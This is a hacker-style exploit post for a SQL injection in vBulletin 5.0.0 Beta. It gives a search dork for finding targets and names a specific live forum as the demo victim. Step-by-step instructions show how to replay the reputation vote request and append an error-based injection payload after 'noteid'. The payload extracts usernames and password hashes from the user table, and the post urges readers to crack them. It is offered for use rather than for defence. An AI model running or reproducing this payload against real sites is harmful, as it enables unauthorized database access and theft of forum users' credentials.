New vBulletin 5.0.0 all Beta releases SQL Injection Exploit 0day

vBulletin 5.0.0 all Beta releases SQL Injection Exploit 0day

#Category: web application
#Type: SQL Injection
#Requirements: Firefox/Live HTTP Headers/
#Dork: DorK :- 
Powered by vBulletin™ Version 5.0.0 Beta 
(or) 
Use your Brain you'll get more o_O

-----------------------------------------------------------------------------------

Step 1 :

Create an Account on vBulletin forum Verify the account and Activate it

For Demo we will use this Forum
Link = http://www.prospectrush.com/new_forum/
I have alredy made an account so i wil direct login

Step 2:

Go To/Open any topic and open Live HTTP Headers
DOWNLOAD HERE
And then on the Topic page search for "Like" button and Clik on it ....
then the Http responce would be caught on HTTP Header's addon .

Step 3:

Go to the first POST in HTTP Headers ,it will look like this
POST *Something /ajax/api/reputation/vote HTTP/1.1
select it and click on Replay button

Step 4:

Then go on Send POST Content and use below Query ,
just add the Below Query after "noteid=somenumber"
SQL Query

) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x27,0x7e,password,0x27, 0x7e) FROM user LIMIT 1,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338

----------------------------------------------------------------------
The Above SQLi command will fetch out the first record from user table(username/password)

see the username and pass in encrypted get the salt to and decrypt it i wont show decrypting use your brain :)
---------------------------------------------------------------------------